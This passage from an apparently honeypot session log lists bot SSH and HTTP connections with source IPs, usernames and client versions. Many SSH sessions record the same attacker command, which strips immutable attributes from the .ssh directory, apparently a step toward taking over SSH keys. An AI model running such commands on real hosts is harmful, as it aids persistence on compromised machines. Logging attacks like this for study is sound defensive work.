  "ended_at": "2026-08-26T21:50:39.316891+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6c17cca6-7270-42d2-a015-c216d5a4d5f9",
  "name": "daring-somber-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45854,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:50:35.657216+00:00",
  "ended_at": "2026-08-26T21:50:37.429412+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a058b1ce-17ee-4e62-9987-85b9767b81dc",
  "name": "idle-flinty-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 45258,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:50:05.493901+00:00",
  "ended_at": "2026-08-26T21:51:04.116428+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0e121dd-35af-40ea-aea5-dbb16a1c7e33",
  "name": "sooty-primal-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 47058,
  "username": "mantenimiento",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:49:55.583545+00:00",
  "ended_at": "2026-08-26T21:53:55.908329+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "89f01967-b6fd-431c-99de-62e5d676979e",
  "name": "jaunty-ancient-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 59308,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:48:55.007378+00:00",
  "ended_at": "2026-08-26T21:48:56.445720+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2196
 },
 {
  "id": "9efd2447-cb13-483b-842b-db05fdc8a398",
  "name": "russet-glassy-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50656,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:48:34.000505+00:00",
  "ended_at": "2026-08-26T21:48:35.833651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53f9b883-0a09-4a57-b326-938ac95f7939",
  "name": "grassy-bold-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50654,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:48:32.124316+00:00",
  "ended_at": "2026-08-26T21:48:33.863597+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3a60d58b-b20c-46e2-bea8-2c29107a8eca",
  "name": "bitter-murky-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 49385,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:47:29.843388+00:00",
  "ended_at": "2026-08-26T21:47:49.974893+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "19a88dac-d478-40f2-a4ab-5ecb2d32a4d4",
  "name": "bold-nameless-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 56664,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 71,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:46:42.168677+00:00",
  "ended_at": "2026-08-26T21:46:44.366812+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "7d5eabc0-9ce9-4931-bb40-0e4adb82b619",
  "name": "lanky-fierce-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 56686,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:46:31.407659+00:00",
  "ended_at": "2026-08-26T21:46:31.923916+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "059c6b34-6a11-4ee8-9da5-b7a07a304924",
  "name": "frank-merry-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 42310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:46:29.722489+00:00",
  "ended_at": "2026-08-26T21:50:29.739671+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "d4939171-a0d8-4f9b-8794-9e22d403cd69",
  "name": "silent-crisp-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 56672,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:46:29.540249+00:00",
  "ended_at": "2026-08-26T21:46:31.273048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d372a842-883e-4aee-b7bf-c487f63997e5",
  "name": "plush-amiable-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 46896,
  "username": "behnam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 67,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:44:49.415915+00:00",
  "ended_at": "2026-08-26T21:44:50.314075+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2174
 },
 {
  "id": "75db41f7-52fa-421d-8896-ff157b1e1ebd",
  "name": "crystal-bashful-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 46910,
  "username": "behnam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:44:37.895448+00:00",
  "ended_at": "2026-08-26T21:44:38.552772+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39395c80-9c1b-4201-a3a9-5b650003f107",
  "name": "lofty-sullen-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 46898,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:44:35.901214+00:00",
  "ended_at": "2026-08-26T21:44:37.759375+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bf5ae578-1c37-4ce5-8499-17babfaa32c3",
  "name": "steady-jaunty-vole",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "20.52.41.200",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:43:42.159966+00:00",
  "ended_at": "2026-08-26T21:59:02.899646+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "166321da-63f0-4468-8d63-1b52afeb94dd",
  "name": "blazing-sunlit-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 54718,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:43:05.878612+00:00",
  "ended_at": "2026-08-26T21:47:05.886879+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "4cd4cfa2-a3e0-4e5d-96a9-2f2538ed1b79",
  "name": "placid-emerald-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 39934,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:42:51.688062+00:00",
  "ended_at": "2026-08-26T21:42:53.178355+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2216
 },
 {
  "id": "72502d8e-bba5-4aec-9a55-3349dfe18764",
  "name": "sturdy-kindly-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 39950,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:42:41.118603+00:00",
  "ended_at": "2026-08-26T21:42:41.736904+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5cdfb235-67b3-4870-b846-a90c94ba98b5",
  "name": "jolly-mottled-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 39942,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:42:39.832197+00:00",
  "ended_at": "2026-08-26T21:42:40.985609+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f94fc549-d7ec-40c8-a223-8b20c6e0ed4f",
  "name": "lawful-merry-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 44310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 68,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:40:48.158444+00:00",
  "ended_at": "2026-08-26T21:40:49.292764+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2203
 },
 {
  "id": "e1aa9bc3-c13b-4259-853f-acf6edf33680",
  "name": "emerald-bashful-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44332,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:40:36.946212+00:00",
  "ended_at": "2026-08-26T21:40:38.347028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d27a129-3d81-4ba0-9314-28ae42df651a",
  "name": "spirited-prairie-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44316,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:40:36.039201+00:00",
  "ended_at": "2026-08-26T21:40:36.812064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "96227e3d-7dff-4ee8-b333-568c2fcecce8",
  "name": "icy-plucky-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 56154,
  "username": "cps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:39:15.884302+00:00",
  "ended_at": "2026-08-26T21:40:14.534124+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7db919dd-d72b-4961-897a-fa558ce6d909",
  "name": "courtly-dewy-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 57444,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:38:55.902990+00:00",
  "ended_at": "2026-08-26T21:38:57.202707+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "d041e9d4-f323-49bf-bb40-dba0b5e6a423",
  "name": "electric-gritty-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57464,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:38:44.881878+00:00",
  "ended_at": "2026-08-26T21:38:46.605902+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f65579d-be86-408d-8c0f-feea5bfc4977",
  "name": "frosty-smooth-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57456,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:38:43.122846+00:00",
  "ended_at": "2026-08-26T21:38:44.746188+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a6bfb596-3519-422f-9156-ea481b021d02",
  "name": "gilded-northern-stork",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:37:28.132882+00:00",
  "ended_at": "2026-08-26T21:53:02.876570+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb45dbdb-4045-4094-9ed3-6209e9e31690",
  "name": "glacial-vernal-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.111.227.10",
  "src_port": 51206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:37:13.185250+00:00",
  "ended_at": "2026-08-26T21:37:13.851923+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "006ed78b-7840-4129-bcb3-3bd7958bc788",
  "name": "hazel-ashen-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.111.227.10",
  "src_port": 51216,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:37:02.474203+00:00",
  "ended_at": "2026-08-26T21:37:03.593815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73819ae2-38f5-44ea-8981-131934cf0ed1",
  "name": "humble-fringed-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.111.227.10",
  "src_port": 51208,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:37:00.291149+00:00",
  "ended_at": "2026-08-26T21:37:01.594318+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "89021d70-2e34-4dd2-b246-2cff8551db3e",
  "name": "misty-early-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 35262,
  "username": "webmaster",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:36:46.929136+00:00",
  "ended_at": "2026-08-26T21:36:48.559687+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0f22c5aa-bc0d-4de4-92dc-df46039b662f",
  "name": "painted-wiry-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 47040,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:35:05.727119+00:00",
  "ended_at": "2026-08-26T21:35:07.870729+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "a52282ab-945c-4288-ac35-1a2fac3ee000",
  "name": "eager-hazel-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 53660,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:34:42.214964+00:00",
  "ended_at": "2026-08-26T21:34:44.077157+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1991987-42f5-4d39-ba79-b04d7497c698",
  "name": "shifting-reedy-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 47054,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:34:41.320783+00:00",
  "ended_at": "2026-08-26T21:34:42.076222+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b32ef2f4-0de6-4bda-9d42-191ca760d171",
  "name": "pleasant-verdant-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 41664,
  "username": "andrei",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:33:00.409369+00:00",
  "ended_at": "2026-08-26T21:33:02.191440+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2113
 },
 {
  "id": "f7f4f1b5-c741-4b9e-b73b-5b9edf09709d",
  "name": "faded-pleasant-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 41684,
  "username": "andrei",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:32:38.432425+00:00",
  "ended_at": "2026-08-26T21:32:40.176436+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e70ce04e-d2a9-4004-9b2d-de67bddc0e88",
  "name": "gentle-reedy-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 41680,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:32:37.261449+00:00",
  "ended_at": "2026-08-26T21:32:38.299006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a103aa53-eca6-4290-96e3-ece203f0b0fe",
  "name": "gilded-quaint-kea",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "86.131.166.9",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:154.0) Gecko/20100101 Firefox/154.0",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:31:41.786154+00:00",
  "ended_at": "2026-08-26T21:47:02.832782+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e466ecf-96c8-48a2-81bb-9aa6878ab1fe",
  "name": "forlorn-airy-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 49734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:31:03.393133+00:00",
  "ended_at": "2026-08-26T21:31:05.334337+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "ad9ce07b-4f2a-4c1d-a433-de8937e3130b",
  "name": "snowy-spirited-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49754,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:30:41.725430+00:00",
  "ended_at": "2026-08-26T21:30:43.072247+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b553f937-d554-4963-896d-47da81421a85",
  "name": "fierce-lonesome-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49738,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:30:40.096962+00:00",
  "ended_at": "2026-08-26T21:30:41.592121+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d3d7962-2361-41fb-b214-58651d26d07b",
  "name": "pewter-gallant-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 55372,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:29:02.848236+00:00",
  "ended_at": "2026-08-26T21:29:04.782689+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "da569cd6-8459-4edd-a662-b583c9179057",
  "name": "faded-spirited-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49398,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:28:42.356267+00:00",
  "ended_at": "2026-08-26T21:28:44.197918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c19a5103-796b-4ff7-a330-89361800f69a",
  "name": "shaded-plucky-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55378,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:28:40.640195+00:00",
  "ended_at": "2026-08-26T21:28:42.217016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0fe4342f-6f8f-4c46-8bd5-98bbe654a4f2",
  "name": "freckled-hushed-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 58222,
  "username": "lenovo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:26:59.444044+00:00",
  "ended_at": "2026-08-26T21:27:01.598404+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2086
 },
 {
  "id": "48a31bb2-ec1a-46c5-b638-18320d4a9907",
  "name": "ashen-frosty-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 58234,
  "username": "lenovo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:26:47.690749+00:00",
  "ended_at": "2026-08-26T21:26:48.239020+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f99f1be4-25d4-40a6-96dd-91685ca332ef",
  "name": "dappled-regal-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 58226,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:26:46.608848+00:00",
  "ended_at": "2026-08-26T21:26:47.551213+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "060ada29-b24c-45b2-97c1-396edbd78d82",
  "name": "umber-coastal-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 56663,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:26:37.845756+00:00",
  "ended_at": "2026-08-26T21:26:56.637678+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1fec95c7-044b-4fc2-be60-59b63ff187be",
  "name": "vernal-peaty-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 35232,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
